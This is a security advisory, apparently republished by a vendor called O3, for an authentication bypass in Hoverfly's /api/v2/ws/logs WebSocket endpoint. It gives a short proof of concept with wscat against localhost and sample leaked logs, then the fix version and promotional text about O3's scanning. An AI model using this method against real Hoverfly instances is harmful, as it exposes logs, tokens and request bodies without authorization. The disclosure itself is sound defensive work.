GHSA-jxmr-2h4q-rhxp
WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled
EPSS Exploitation Probability
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Blast Radius
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Description
Summary
Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:
- Stream real-time application logs (information disclosure).
- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.
PoC
- Start Hoverfly with authentication enabled:
./hoverfly -auth
- Confirm REST API requires credentials:
curl -i http://localhost:8888/api/v2/hoverfly/version
- Connect to the WebSocket endpoint without credentials:
wscat -c ws://localhost:8888/api/v2/ws/logs
# Connected (press CTRL+C to quit)
# … logs stream immediately … (You would need to send a message to start receiving stream)
wscat -c ws://localhost:8888/api/v2/ws/logs
Connected (press CTRL+C to quit)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}
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Impact
Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/SpectoLabs/hoverfly | all versions | 1.12.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/SpectoLabs/hoverfly. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/SpectoLabs/hoverfly to 1.12.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jxmr-2h4q-rhxp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jxmr-2h4q-rhxp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jxmr-2h4q-rhxp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jxmr-2h4q-rhxp in your dependencies?
O3 detects GHSA-jxmr-2h4q-rhxp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.